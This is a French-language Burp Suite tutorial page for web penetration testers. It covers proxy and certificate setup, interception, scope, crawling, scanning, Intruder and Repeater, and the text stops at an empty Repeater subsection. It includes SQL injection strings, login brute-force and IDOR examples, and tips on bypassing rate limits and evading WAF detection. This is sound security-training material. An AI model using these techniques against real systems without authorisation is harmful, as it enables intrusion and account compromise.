🕷️ Web Application Security

Cours Burp Suite — De A à Z

Proxy d'interception, scanner web, Intruder, Repeater, extensions et automatisation des tests.

14Chapitres
100+Exemples
Burp Pro/CommunityVersion
Pentest WebProxyScannerIntruderExtensions
🔍

Aucun résultat pour cette recherche.

Cours Complet Burp Suite - De A à Z

Table des Matières

  1. Introduction à Burp Suite
  2. Installation et Configuration
  3. Interface et Navigation
  4. Proxy et Interception
  5. Target (Cible)
  6. Spider et Crawler
  7. Scanner (Version Pro)
  8. Intruder
  9. Repeater
  10. Sequencer
  11. Decoder
  12. Comparer
  13. Extensions (BApp Store)
  14. Techniques Avancées
  15. Cas Pratiques Complets

1. Introduction à Burp Suite

1.1 Qu’est-ce que Burp Suite ?

Burp Suite est la plateforme de test de sécurité d’applications web la plus populaire au monde. Développée par PortSwigger, elle est l’outil de référence pour les pentesters et chercheurs en sécurité web.

Versions disponibles : - Community Edition : Gratuite, fonctionnalités de base - Professional : Payante (~$449/an), scanner automatisé - Enterprise : Pour organisations, CI/CD integration

Utilisations principales : - Tests de pénétration web - Bug bounty hunting - Audit de sécurité applicative - Recherche en sécurité - Formation en sécurité web

1.2 Fonctionnalités Principales

┌─────────────────────────────────────────────┐
│         COMPOSANTS BURP SUITE               │
├─────────────────────────────────────────────┤
│                                             │
│  PROXY                                      │
│  └─> Intercepte et modifie le trafic HTTP  │
│                                             │
│  TARGET                                     │
│  └─> Cartographie du site cible            │
│                                             │
│  SPIDER/CRAWLER                             │
│  └─> Découverte automatique de contenu     │
│                                             │
│  SCANNER (Pro)                              │
│  └─> Détection automatique de vulns        │
│                                             │
│  INTRUDER                                   │
│  └─> Attaques automatisées (fuzzing, etc.) │
│                                             │
│  REPEATER                                   │
│  └─> Modification et renvoi de requêtes    │
│                                             │
│  SEQUENCER                                  │
│  └─> Analyse de la qualité des tokens      │
│                                             │
│  DECODER                                    │
│  └─> Encodage/décodage de données          │
│                                             │
│  COMPARER                                   │
│  └─> Comparaison de réponses HTTP          │
│                                             │
│  EXTENSIONS                                 │
│  └─> Plugins additionnels (BApp Store)     │
│                                             │
└─────────────────────────────────────────────┘

1.3 Workflow Typique

1. CONFIGURATION DU PROXY
   └─> Configurer navigateur pour utiliser Burp

2. NAVIGATION ET INTERCEPTION
   └─> Explorer l'application cible

3. CARTOGRAPHIE
   └─> Site map complet dans Target

4. ANALYSE MANUELLE
   └─> Repeater pour tester des payloads

5. ATTAQUES AUTOMATISÉES
   └─> Intruder pour fuzzing/brute force

6. SCAN DE VULNÉRABILITÉS (Pro)
   └─> Scanner automatique

7. EXPLOITATION
   └─> Confirmer et exploiter les vulnérabilités

8. REPORTING
   └─> Générer rapport avec preuves

1.4 Types de Vulnérabilités Détectables

Injection : - SQL Injection - XSS (Cross-Site Scripting) - Command Injection - LDAP Injection - XML Injection

Authentification : - Session Management issues - Weak passwords - Credential stuffing

Autorisation : - IDOR (Insecure Direct Object Reference) - Privilege Escalation - Path Traversal

Configuration : - Security Headers manquants - Information Disclosure - CORS misconfiguration

Logique Métier : - Race Conditions - Business Logic Flaws - CSRF (Cross-Site Request Forgery)


2. Installation et Configuration

2.1 Installation

Prérequis : Java

# Vérifier Java (requis JDK 11+)
java -version

# Installer Java si nécessaire (Ubuntu/Debian)
sudo apt update
sudo apt install openjdk-17-jre

# macOS
brew install openjdk@17

# Windows : télécharger depuis adoptium.net

Téléchargement et Installation

Linux / macOS :

# Télécharger depuis https://portswigger.net/burp/releases

# Linux
wget https://portswigger.net/burp/releases/download?product=community&type=Linux -O burpsuite_community.sh
chmod +x burpsuite_community.sh
./burpsuite_community.sh

# macOS
# Télécharger le .dmg et installer normalement

# Lancer Burp
java -jar burpsuite_community.jar

Windows :

  1. Télécharger l’installateur depuis https://portswigger.net/burp/releases
  2. Exécuter burpsuite_community_windows-x64.exe
  3. Suivre l’assistant d’installation
  4. Lancer depuis le menu Démarrer

Version Kali Linux

# Burp est préinstallé sur Kali
burpsuite

# Ou depuis le menu Applications > Web Application Analysis > burpsuite

2.2 Premier Lancement

# Lancer Burp Suite
java -jar burpsuite_community.jar

# Options de ligne de commande utiles
java -jar -Xmx4g burpsuite_community.jar  # Allouer 4GB de RAM
java -jar burpsuite_community.jar --config-file=myconfig.json

Écran de démarrage : 1. Temporary project (Community) ou New project (Pro) 2. Use Burp defaults ou charger une config 3. Cliquer sur Start Burp

2.3 Configuration du Proxy

Dans Burp Suite

1. Aller dans "Proxy" > "Options"
2. Par défaut, écoute sur 127.0.0.1:8080
3. Vérifier que "Intercept is on" dans l'onglet "Intercept"

Configuration personnalisée :

Proxy Listeners:
- Add
- Bind to address: 127.0.0.1
- Bind to port: 8080
- Request handling: par défaut

Configuration du Navigateur

Firefox (Recommandé pour pentests) :

  1. Paramètres > Réseau > Paramètres de connexion
  2. Sélectionner Configuration manuelle du proxy
  3. HTTP Proxy : 127.0.0.1, Port : 8080
  4. Cocher Utiliser ce serveur proxy pour tous les protocoles
  5. Supprimer localhost, 127.0.0.1 des Pas de proxy pour

Extension FoxyProxy (Recommandé) :

1. Installer FoxyProxy Standard
2. Ajouter un proxy:
   - Title: Burp Suite
   - Type: HTTP
   - Hostname: 127.0.0.1
   - Port: 8080
3. Activer/désactiver rapidement le proxy

Chrome/Chromium :

# Linux/macOS
google-chrome --proxy-server="127.0.0.1:8080"

# Ou utiliser l'extension SwitchyOmega

2.4 Installation du Certificat SSL

Pour intercepter HTTPS, il faut installer le certificat CA de Burp.

Télécharger le Certificat

1. Démarrer Burp
2. Configurer le proxy du navigateur
3. Naviguer vers http://burpsuite (ou http://127.0.0.1:8080)
4. Cliquer sur "CA Certificate" pour télécharger
5. Sauvegarder cacert.der

Installation Firefox

1. Paramètres > Vie privée et sécurité
2. Certificats > Afficher les certificats
3. Autorités > Importer
4. Sélectionner cacert.der
5. Cocher "Faire confiance à cette AC pour identifier des sites web"
6. OK

Installation Chrome (Linux)

# Convertir en format PEM
openssl x509 -inform DER -in cacert.der -out burp-ca.crt

# Ubuntu/Debian
sudo mkdir -p /usr/local/share/ca-certificates/
sudo cp burp-ca.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates

# Chrome utilise les certificats système

Installation macOS

1. Double-cliquer sur cacert.der
2. Ajouter au Trousseau "Connexion"
3. Double-cliquer sur "PortSwigger CA"
4. Développer "Trust"
5. "When using this certificate": "Always Trust"

Installation Windows

1. Double-cliquer sur cacert.der
2. Install Certificate
3. Store Location: Current User
4. Place in store: Trusted Root Certification Authorities
5. Finish

Vérification

1. Naviguer vers https://google.com
2. Le trafic HTTPS devrait apparaître dans Burp
3. Pas d'avertissement SSL dans le navigateur

2.5 Configuration Initiale Recommandée

Désactiver l’Interception au Démarrage

Proxy > Options > Intercept Client Requests
Décocher "Intercept is on" par défaut si vous voulez browse normalement

Augmenter la Mémoire

# Créer un script de lancement
nano ~/burp.sh

#!/bin/bash
java -jar -Xmx4g /path/to/burpsuite_community.jar

chmod +x ~/burp.sh

Filtres de Scope

Target > Scope
Add: ^https?://target\.example\.com/.*$
Options > Cocher "Spider only in-scope items"

Désactiver Logging Inutile

Proxy > Options > Miscellaneous
Décocher des options si problèmes de performance

2.6 Projets et Configuration (Pro)

# Sauvegarder un projet
Project > Save copy
File > Save project as

# Charger configuration
Burp > Project options > Load project options

3. Interface et Navigation

3.1 Vue d’Ensemble de l’Interface

┌────────────────────────────────────────────────┐
│  Dashboard | Target | Proxy | Intruder | ...  │  ← Onglets principaux
├────────────────────────────────────────────────┤
│                                                │
│  ┌─────────────────┐  ┌───────────────────┐   │
│  │   Site Map      │  │   HTTP History    │   │
│  │                 │  │                   │   │
│  │  Target tree    │  │   Request/Response│   │
│  │  view           │  │   panels          │   │
│  └─────────────────┘  └───────────────────┘   │
│                                                │
└────────────────────────────────────────────────┘

3.2 Onglets Principaux

Dashboard (Pro)

- Vue d'ensemble du projet
- Tâches de scan en cours
- Statistiques des vulnérabilités trouvées
- Graphiques et métriques

Target

- Site map (arborescence du site)
- Scope definition (périmètre de test)
- Issue activity (vulnérabilités trouvées)

Proxy

- Intercept (interception des requêtes)
- HTTP history (historique complet)
- WebSockets history
- Options (configuration du proxy)

Intruder

- Positions (définir les points d'injection)
- Payloads (listes de valeurs à tester)
- Options (configuration de l'attaque)
- Results (résultats des attaques)

Repeater

- Envoi manuel de requêtes
- Modification à la volée
- Comparaison de réponses

Sequencer

- Analyse de tokens de session
- Tests statistiques de randomness

Decoder

- Encodage/décodage de données
- Multiples formats supportés

Comparer

- Comparaison de 2+ requêtes/réponses
- Diff visuel

Extensions

- Gestion des extensions
- BApp Store
- APIs

3.3 Navigation et Raccourcis

Raccourcis Clavier Essentiels

Ctrl/Cmd + Shift + I    : Toggle intercept on/off
Ctrl/Cmd + R            : Envoyer au Repeater
Ctrl/Cmd + I            : Envoyer à l'Intruder
Ctrl/Cmd + Shift + B    : Envoyer au Spider (Pro)
Ctrl/Cmd + Shift + A    : Envoyer au Scanner (Pro)

Dans Repeater:
Ctrl/Cmd + Space        : Envoyer la requête
Ctrl/Cmd + U            : URL-encoder la sélection

Recherche:
Ctrl/Cmd + F            : Rechercher
Click droit sur un item:
- Spider this branch
- Scan this branch (Pro)
- Add to scope
- Delete from site map
- Compare site maps

Personnalisation de l’Interface

User options > Display
- Font size
- Character sets
- HTTP message display
- Theme (Light/Dark dans versions récentes)

3.4 Filtres et Recherche

Filtrer l’HTTP History

Proxy > HTTP history > Filter
- Show only in-scope items
- Hide items without responses
- Filter by MIME type
- Filter by status code
- Filter by search term

Search Tool

Click droit dans HTTP history ou Site map > Search
- Regular expressions
- Case sensitive
- Negative search

3.5 État du Proxy

Indicateur en haut à droite:
- Orange: Intercept is ON
- Gray: Intercept is OFF

Cliquer pour toggle rapidement

4. Proxy et Interception

Le Proxy est le cœur de Burp Suite, permettant d’intercepter et modifier tout le trafic HTTP/HTTPS.

4.1 Interception de Base

Activer l’Interception

1. Proxy > Intercept
2. "Intercept is on" (bouton orange)
3. Naviguer dans le navigateur
4. Les requêtes apparaissent dans Burp

Actions sur une Requête Interceptée

Forward         : Envoyer la requête sans modification
Drop            : Abandonner la requête
Action          : Menu avec options avancées
  - Send to Repeater
  - Send to Intruder
  - Do intercept > Response to this request

Exemple d’Interception

Requête interceptée:
GET /api/user/profile HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Mozilla/5.0

Modification:
GET /api/user/profile?id=2 HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Burp/1.0

Forward

4.2 Interception de Réponses

1. Intercepter une requête
2. Action > Do intercept > Response to this request
3. Forward la requête
4. La réponse apparaît pour modification

Exemple : Modifier une réponse HTML

Réponse originale:
HTTP/1.1 200 OK
Content-Type: text/html

<script>var isAdmin = false;</script>

Modification:
HTTP/1.1 200 OK
Content-Type: text/html

<script>var isAdmin = true;</script>

4.3 Filtres d’Interception

Proxy > Options > Intercept Client Requests

Exemples de règles:
- And URL Is in target scope
- And Protocol Is https
- And Method Is POST
- And File extension Is in [php, asp, jsp]
- And Request Was intercepted

Intercept Server Responses:
- Intercept responses based on request rules
- Or Content-Type header Contains text/html

4.4 HTTP History

Proxy > HTTP history

Colonnes affichées:
- # : Numéro de requête
- Host : Domaine
- Method : GET, POST, etc.
- URL : Chemin
- Params : Présence de paramètres
- Edited : Modifié manuellement
- Status : Code HTTP
- Length : Taille réponse
- MIME type : Type de contenu
- Extension : Extension du fichier
- Title : Titre de la page
- Comment : Annotation
- TLS : Oui/Non

Filtrer l’Historique

Filter bar en haut:
- Filter by search term
- Show only: in-scope, parameterized, edited, etc.
- Filter by MIME type: HTML, Script, CSS, etc.
- Filter by status code: 2xx, 3xx, 4xx, 5xx

Annotations

Click droit sur une requête:
- Add comment
- Highlight (couleurs)

4.5 WebSockets

Proxy > WebSockets history

Intercepter WebSocket messages:
Proxy > Options > Intercept WebSocket Messages
- Client to server
- Server to client

4.6 Match and Replace

Modifier automatiquement les requêtes/réponses.

Proxy > Options > Match and Replace

Exemples:
Type: Request header
Match: User-Agent: .*
Replace: User-Agent: Burp Suite Scanner
Regex: Yes

Type: Request header
Match: ^Cookie:.*
Replace: (vide pour supprimer)

Type: Response body
Match: <title>(.*)</title>
Replace: <title>HACKED</title>
Regex: Yes

Cas d’usage : - Ajouter headers personnalisés - Remplacer User-Agent - Supprimer cookies - Modifier réponses pour tests - Bypass client-side restrictions

4.7 Proxy Options Avancées

TLS/SSL

Proxy > Options > TLS

Options:
- Use custom protocols and ciphers
- Disable Java SSL session resume
- Negotiate TLS 1.3

Hostname Resolution

Proxy > Options > Hostname Resolution

Rediriger un domaine vers une IP spécifique:
Host: example.com
IP: 192.168.1.100

Request Timeouts

Proxy > Options > Miscellaneous

Network timeout: 120 seconds (défaut)

4.8 Exemples Pratiques

Bypass Client-Side Validation

1. Désactiver JavaScript dans le navigateur
2. Ou intercepter la requête avec Burp
3. Modifier les valeurs après validation côté client

Exemple:
<input type="hidden" name="price" value="100">

Intercepter POST:
price=100&quantity=1

Modifier:
price=1&quantity=1

Forward

Test IDOR (Insecure Direct Object Reference)

Requête normale:
GET /api/document/123 HTTP/1.1

Intercepter et modifier:
GET /api/document/124 HTTP/1.1
GET /api/document/125 HTTP/1.1

Observer si accès non autorisé

Session Hijacking Test

1. Se connecter avec User A
2. Copier le cookie de session
3. Ouvrir un autre navigateur
4. Intercepter une requête
5. Remplacer le cookie par celui de User A
6. Vérifier si la session est valide

5. Target (Cible)

L’onglet Target permet de cartographier l’application et définir le périmètre de test.

5.1 Site Map

Le Site Map affiche l’arborescence complète de l’application découverte.

Target > Site Map

Vue arborescente:
└── https://example.com
    ├── /
    ├── /login
    ├── /api
    │   ├── /users
    │   └── /products
    ├── /admin
    └── /static
        ├── /js
        └── /css

Couleurs et Annotations

Noir  : Non visité/découvert automatiquement
Gris  : Pas de réponse ou erreur
Vert  : 2xx Success
Orange: 3xx Redirect
Rouge : 4xx Client Error / 5xx Server Error

Click droit pour highlight ou add comment

Filtrage du Site Map

Filter bar:
- Show only in-scope items
- Show only requested items
- Hide not found (404)
- Hide empty folders

5.2 Scope (Périmètre)

Définir le scope est crucial pour éviter de tester des domaines non autorisés.

Target > Scope

Include in scope:
Protocol: https
Host: example.com
File: ^/.*

Regex examples:
^https?://example\.com/.*$
^https?://.*\.example\.com/.*$
^https?://example\.com/(api|admin)/.*$

Utiliser le Scope

Suite options > Scope
Cocher:
- Use advanced scope control
- Spider only in-scope items
- Only show in-scope items in Proxy history

Avantages:
- Focus sur la cible
- Éviter les domaines tiers (CDN, analytics)
- Réduire le bruit

Ajouter au Scope Rapidement

Click droit dans Proxy history ou Site map:
- Add to scope

Ou dans un item intercepté:
Action > Add to scope

5.3 Issue Activity (Pro)

Target > Issue activity

Liste des vulnérabilités trouvées:
- Severity: High, Medium, Low, Info
- Issue type: SQL Injection, XSS, etc.
- Path: URL affectée
- Status: New, Fixed, False positive

Click sur une issue pour voir:
- Description détaillée
- Remediation advice
- Request/Response proofs
- References

5.4 Analyse du Site Map

Identifier les Points d’Intérêt

Zones à privilégier:
- /admin, /manager, /console
- /api, /v1, /graphql
- Paramètres dans URLs
- Forms (POST requests)
- Upload functionality
- Authentication endpoints

Exporter le Site Map

Click droit sur un domaine:
- Save selected items
  - Select all URLs
  - Format: XML, text

Utile pour:
- Documentation
- Reporting
- Import dans autres outils

5.5 Comparaison de Site Maps

Target > Site map > Click droit sur host
- Compare site maps

Comparer:
- Before/after authentication
- Different users
- Different configurations

Identifies:
- New endpoints
- Removed endpoints
- Changed responses

5.6 Découverte Manuelle vs Automatique

Manuelle (via navigation):
+ Découvre les fonctionnalités complexes
+ Respecte la logique applicative
- Peut manquer des endpoints cachés

Automatique (Spider):
+ Découvre rapidement
+ Trouve endpoints non liés
- Peut manquer logique complexe (AJAX, etc.)

Recommandation: Combiner les deux

6. Spider et Crawler

Le Spider permet de découvrir automatiquement le contenu d’une application web.

6.1 Spider Traditionnel (Community)

Click droit sur un item dans Target ou Proxy:
- Spider this host
- Spider from here

Configuration :

Target > Site map > Click droit > Spider this branch

Spider options:
- Crawl optimization
- Application login
- Spider engine
- Request headers
- Form submission

Limites du Spider Community

- Pas de JavaScript rendering
- Peut manquer du contenu dynamique
- Pas de scanning automatique post-crawl

6.2 Crawler (Pro - Burp 2.0+)

Le Crawler moderne remplace le Spider et supporte JavaScript.

Dashboard > New scan > Crawl

Configuration:
1. Scan type: Crawl only
2. URLs to scan: https://example.com
3. Crawl optimization: Normal/Fast/Thorough
4. Application login: Optional
5. Start scan

Options du Crawler :

Scan configuration:
- Crawl strategy: Most complete/Fastest
- Maximum link depth: 10 (default)
- JavaScript analysis: Yes
- Handle errors: Continue
- Maximum crawl duration: 60 minutes

6.3 Configuration du Spider/Crawler

Application Login

Pour crawler les zones authentifiées :

Méthode 1: Record login sequence
1. Dashboard > New scan
2. Application login: Record login sequence
3. Naviguer et se connecter
4. Burp enregistre les étapes
5. Use this sequence for crawling

Méthode 2: Use session handling
1. Project options > Sessions
2. Session handling rules
3. Add rule: Use cookies from Burp's cookie jar

Form Submission

Spider/Crawler options:
- Don't submit forms
- Prompt for guidance (manuel)
- Automatically submit (avec valeurs par défaut)
- Intelligent form filling (Pro)

6.4 Content Discovery

Découvrir des fichiers/répertoires cachés.

Target > Site map > Click droit > Engagement tools > Discover content

Configuration:
- Use smart brute force
- Wordlists location
- File extensions: php, asp, aspx, jsp, txt, bak
- Directories: admin, backup, old, test

Basé sur:
- Wordlists intégrées
- Réponses observées (intelligent)

Wordlists Personnalisées

Burp menu > Project options > Misc > Embedded browser path

Ajouter wordlists custom:
- /usr/share/wordlists/dirb/common.txt
- /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- SecLists (https://github.com/danielmiessler/SecLists)

6.5 Analyse Post-Crawl

Après crawl, analyser le Site Map:

1. Identifier endpoints intéressants
2. Paramètres dans URLs
3. Forms avec input
4. File uploads
5. API endpoints
6. Admin panels

Filtrer:
- Parameterized requests
- Scripts (*.js)
- Dynamic pages

6.6 Limitations et Contournements

JavaScript Lourd (SPA)

Problème: Spider/Crawler rate du contenu AJAX

Solutions:
1. Utiliser Burp Pro avec JS analysis
2. Naviguer manuellement l'application
3. Utiliser extensions:
   - JS Link Finder
   - GAP (Google Analytics Parser)

Rate Limiting

Spider options:
- Throttle requests
- Maximum concurrent requests: 5
- Delay between requests: 500ms

WAF/IDS Detection

Spider options:
- Randomize User-Agent
- Throttle heavily
- Use session handling pour garder cookies valides

7. Scanner (Version Pro)

Le Scanner automatise la détection de vulnérabilités. Disponible uniquement en version Professional.

7.1 Types de Scan

Crawl and Audit

Dashboard > New scan > Crawl and audit

Workflow:
1. Crawl le site (découverte)
2. Audit automatique de chaque endpoint
3. Report des vulnérabilités

Audit Selected Items

Dans Site map ou Proxy history:
Click droit > Scan > Audit selected items

Plus ciblé et rapide

Audit Items in Scope

Dashboard > New scan
Select: Scan all items in scope

Audit complet du périmètre défini

7.2 Configuration du Scan

Scan configuration:

Scan speed:
- Fast
- Normal
- Thorough
- Custom

Issues to detect:
- All issues
- Critical and high severity only
- Custom selection:
  ☑ SQL Injection
  ☑ XSS
  ☑ Command Injection
  ☑ Path Traversal
  ☐ SSL issues
  ...

7.3 Types de Vulnérabilités Détectées

Injection

- SQL Injection (Error-based, Boolean-based, Time-based)
- Command Injection (OS command injection)
- LDAP Injection
- XML Injection
- XPath Injection
- Code Injection

Cross-Site Scripting (XSS)

- Reflected XSS
- Stored XSS
- DOM-based XSS
- XSS in script contexts
- XSS in HTML attributes

Broken Authentication

- Password submitted in clear text
- Weak password policy
- Credentials submitted over HTTP
- Session fixation

Access Control

- IDOR (Insecure Direct Object References)
- Missing authorization
- Privilege escalation
- Path traversal

Security Misconfiguration

- Missing security headers
- Information disclosure
- Directory listing
- Backup files disclosed
- Version disclosure

XXE (XML External Entity)

- XXE injection
- XML parsing errors

SSRF (Server-Side Request Forgery)

- SSRF via URL parameter
- SSRF via HTTP header

Deserialization

- Insecure deserialization
- Java deserialization

7.4 Gestion des Résultats

Dashboard > Issue activity

Colonnes:
- Severity: Critical, High, Medium, Low, Info
- Issue type
- Path
- Status

Actions:
- Set severity (ajuster)
- Mark as false positive
- Report issue
- Request/Response: voir les preuves

Filtrage des Issues

Filter:
- By severity
- By confidence (Certain, Firm, Tentative)
- By type
- New issues only

Advisory/Remediation

Cliquer sur une issue pour voir:
- Description complète
- Proof of concept request/response
- Remediation advice
- References (OWASP, CWE)
- Vulnerability classifications

7.5 Scan Passif vs Actif

Passive Scanning

Activé par défaut, analyse les réponses sans envoyer de requêtes additionnelles.

Détecte:
- Missing security headers
- Information disclosure
- Insecure cookies
- Vulnerable JavaScript libraries

Dashboard > Live passive crawl from Proxy (always running)

Active Scanning

Envoie des payloads pour tester les vulnérabilités.

Détecte:
- SQL Injection
- XSS
- Command Injection
- Etc.

Attention: Plus bruyant, peut être détecté

7.6 Insertion Points

Les endroits où Burp injecte des payloads :

- URL parameters
- Body parameters
- Cookies
- HTTP headers
- File uploads
- JSON/XML values

Configuration:
Scan > Scan configuration > Insertion points
- URL path components
- URL parameter values
- Body parameter values
- Cookies
- HTTP headers
- REST-style URL parameters

7.7 Rapports de Scan

Dashboard > Issues > Select issues
Click droit > Report selected issues

Formats:
- HTML (recommandé pour présentation)
- XML (pour import dans autres outils)

Sections du rapport:
- Executive summary
- Vulnerability types summary
- Detailed findings avec preuves
- Remediation guidance

7.8 Optimisation des Scans

Pour sites larges:
1. Définir un scope précis
2. Utiliser "Fast" scan speed initialement
3. Scan ciblé sur endpoints critiques
4. Scheduled scans (Pro feature)

Throttling:
Scan configuration > Resource pool
- Maximum concurrent requests: 10
- Delay between requests: 0ms (ou plus si rate limiting)

8. Intruder

L’Intruder est l’outil d’attaque automatisé de Burp, permettant fuzzing, brute force, et tests personnalisés.

8.1 Workflow Intruder

1. Envoyer une requête à Intruder (Ctrl+I)
2. Target: Vérifier host et port
3. Positions: Définir les points d'injection
4. Payloads: Choisir les valeurs à injecter
5. Options: Configurer l'attaque
6. Start attack
7. Analyser les résultats

8.2 Types d’Attaque

Sniper

Un seul ensemble de payloads, testé sur chaque position une par une.

Exemple:
Position: username=§test§&password=§pass§
Payloads: admin, user, guest

Requêtes:
1. username=admin&password=pass
2. username=user&password=pass
3. username=guest&password=pass
4. username=test&password=admin
5. username=test&password=user
6. username=test&password=guest

Utilité: Tester un paramètre à la fois

Battering Ram

Un seul ensemble de payloads, appliqué à toutes les positions simultanément.

Exemple:
Position: username=§test§&password=§pass§
Payloads: admin, user, guest

Requêtes:
1. username=admin&password=admin
2. username=user&password=user
3. username=guest&password=guest

Utilité: Tester la même valeur partout

Pitchfork

Plusieurs ensembles de payloads, itération parallèle.

Exemple:
Position: username=§test§&password=§pass§
Payload set 1: admin, user, guest
Payload set 2: admin123, user123, guest123

Requêtes:
1. username=admin&password=admin123
2. username=user&password=user123
3. username=guest&password=guest123

Utilité: Combos username/password connus

Cluster Bomb

Plusieurs ensembles de payloads, toutes les combinaisons (produit cartésien).

Exemple:
Position: username=§test§&password=§pass§
Payload set 1: admin, user
Payload set 2: pass123, admin123

Requêtes:
1. username=admin&password=pass123
2. username=admin&password=admin123
3. username=user&password=pass123
4. username=user&password=admin123

Utilité: Brute force exhaustif (lent!)

8.3 Définir les Positions

Intruder > Positions

Boutons:
- Add §: Marquer position
- Clear §: Effacer positions
- Auto §: Détection auto

Sélectionner la valeur à remplacer, puis cliquer Add §

Exemple:
GET /user?id=§123§ HTTP/1.1
Cookie: session=§abc123§

8.4 Configuration des Payloads

Intruder > Payloads

Payload set: 1 (si multiples positions)
Payload type: [sélectionner type]

Types de Payloads

Simple List

Liste simple de valeurs.

Add: Ajouter manuellement
Load: Charger depuis fichier
Paste: Coller depuis clipboard

Exemple:
admin
user
guest
test
root

Runtime File

Lire depuis fichier ligne par ligne (économise RAM).

Configuration:
Select file: /path/to/wordlist.txt

Numbers

Séquence numérique.

Configuration:
Type: Sequential
From: 1
To: 1000
Step: 1
Format: Decimal

Utilité: IDOR testing, brute force IDs

Dates

Format: dd/MM/yyyy
From: 01/01/2020
To: 31/12/2023

Utilité: Tester dates de naissance, etc.

Brute Forcer

Générer toutes les combinaisons.

Character set: abcdefghijklmnopqrstuvwxyz
Min length: 4
Max length: 6

Attention: Très gourmand!
Exemple: 4 caractères = 26^4 = 456,976 requêtes

Null Payloads

N'envoie rien, utilisé pour répéter une requête.

Generate: 100 payloads

Utilité: Race conditions, load testing

Character Substitution

Substituer des caractères.

Base string: password
Substitutions:
a -> @
e -> 3
o -> 0

Résultats:
password
p@ssword
p@ssw0rd
passw0rd
...

Username Generator

Générer des usernames basés sur noms.

Input: John Smith
Output:
john.smith
jsmith
smithj
john_smith
...

Custom Iterator

Combiner plusieurs listes avec séparateurs.

Position 1: [admin, user, guest]
Separator: _
Position 2: [2020, 2021, 2022]

Output:
admin_2020
admin_2021
user_2020
...

8.5 Payload Processing

Intruder > Payloads > Payload Processing

Add rule:
- Add prefix
- Add suffix
- Match/Replace
- Substring
- Reverse
- Base64 encode
- URL encode
- Hash (MD5, SHA1, SHA256)

Exemple:
Payload: admin
Add prefix: user_
Hash: MD5
Final: MD5(user_admin) = ...

8.6 Payload Encoding

Intruder > Payloads > Payload Encoding

URL-encode these characters:
 & = ; : + ? / # @ ! $ ' ( ) * , [ ] { } | \ " < > %

Utile pour:
- Éviter de casser la requête
- Tester l'encodage

8.7 Options de l’Attaque

Intruder > Options

Request Engine:
- Number of threads: 5 (Community) / illimité (Pro)
- Delay between requests: 0ms
- Throttle: pour éviter rate limiting

Request Handling:
- Follow redirections: Always/Never/On-site only
- Process cookies in redirections

Grep - Match

Extraire des chaînes des réponses.

Intruder > Options > Grep - Match

Add:
- Success
- Invalid
- Error
- Welcome

Résultats montreront une colonne par pattern avec ✓ si trouvé

Grep - Extract

Extraire des valeurs spécifiques.

Example: Extraire CSRF token

Intruder > Options > Grep - Extract
Add
Fetch response
Select in response: <input name="csrf" value="abc123">
OK

Chaque résultat affichera la valeur extraite

Grep - Payloads

Rechercher les payloads dans les réponses.

Utile pour:
- XSS: voir si payload reflété
- SQL Injection: voir si payload dans erreur

Redirections

Options > Redirections

Never: Ne pas suivre
Always: Suivre toutes
On-site only: Suivre seulement même domaine

Utile pour:
- Tester redirections open
- Éviter de sortir du scope

8.8 Analyser les Résultats

Results table columns:
- Request: Numéro
- Position: Position testée (si multiple)
- Payload: Valeur injectée
- Status: Code HTTP
- Error: Erreur réseau
- Timeout: Timeout
- Length: Taille de la réponse
- Comment: Annotation

Trier par colonne pour identifier anomalies

Identifier les Succès

Indices de succès:
- Different status code (200 vs 401)
- Different length
- Presence of "Success" string
- Absence of "Invalid" string
- Redirection

Filtrer:
Click sur column header > Show only matching items

Exemple : Brute Force Login

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=§admin§&password=§password§

Positions: Cluster bomb
Payload 1: usernames.txt
Payload 2: passwords.txt

Grep - Match: "Welcome", "Invalid credentials"

Résultats:
Trier par "Welcome" ✓ pour trouver combos valides

8.9 Rate Limiting et Throttling

Community Edition:
- Limité à 1 thread (lent)

Contournement (éthique uniquement!):
- Utiliser Turbo Intruder extension
- Multiples instances de Burp

Professional:
- Threads illimités
- Resource pools pour contrôler la charge

8.10 Cas d’Usage Courants

Fuzzing de Paramètres

GET /api/user?id=§1§&format=§json§

Payload 1: Numbers 1-1000
Payload 2: json, xml, html, pdf

Identifier formats supportés et IDOR

Test d’Injection SQL

POST /search HTTP/1.1

query=§test§

Payloads: SQL injection wordlist
' OR '1'='1
' OR 1=1--
admin'--
...

Grep - Match: SQL error keywords

Brute Force de Token

GET /api/token?code=§ABCD§

Payload: Brute forcer
Character set: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
Length: 4

Grep - Match: "valid", "invalid"

9. Repeater

Le Repeater permet d’envoyer des requêtes HTTP manuellement et d’observer les réponses.

9.1 Interface du Repeater

Repeater tab:
┌────────────────────────────────────────┐
  Request                               
  ┌──────────────────────────────────┐ 
   GET /api/user?id=1 HTTP/1.1       
   Host: example.com                  
   Cookie: session=abc123             
  └──────────────────────────────────┘ 
                                        
  [Send] [Cancel]                       
                                        
  Response                              
  ┌──────────────────────────────────┐ 
   HTTP/1.1 200 OK                    
   Content-Type: application/json     
                                       
   {"id":1,"name":"John"}             
  └──────────────────────────────────┘ 
└────────────────────────────────────────┘

9.2 Envoyer une Requête au Repeater

Depuis Proxy ou Site map:
Click droit > Send to Repeater
Ou: Ctrl/Cmd + R

La requête apparaît dans un nouvel onglet Repeater

9.3 Modifier et Envoyer

1. Modifier la requête dans le panel Request
2. Cliquer "Send" ou Ctrl/Cmd + Space
3. Observer la réponse dans le panel Response

Exemple :

Original:
GET /api/user?id=1 HTTP/1.1

Modifications successives:
GET /api/user?id=2 HTTP/1.1
GET /api/user?id=3 HTTP/1.1
GET /api/user?id=1' OR '1'='1 HTTP/1.1

9.4 Vues de la Réponse

Response tabs:
- Raw: Réponse brute
- Headers: Headers uniquement
- Hex: Vue hexadécimale
- HTML: Rendu HTML (si applicable)
- Render: Rendu complet avec CSS/JS

Pour JSON:
- Pretty: JSON formaté et coloré

9.5 Request/Response Actions

Actions sur la Requête

Click droit dans Request panel:
- Change request method: GET  POST
- Change body encoding
- URL-encode as you type
- Save item
- Copy URL
- Copy as curl command

Changer Method GET ↔ POST

Utile pour tester si l'application accepte les deux méthodes.

GET /delete?id=123
→
POST /delete
id=123

9.6 Inspector

Activé en bas ou à droite du Repeater.

Request inspector:
- Query parameters (éditable)
- Body parameters (éditable)
- Cookies (éditable)
- Headers (éditable)
- Attributes

Plus intuitif pour éditer que le raw text

9.7 Raccourcis et Productivité

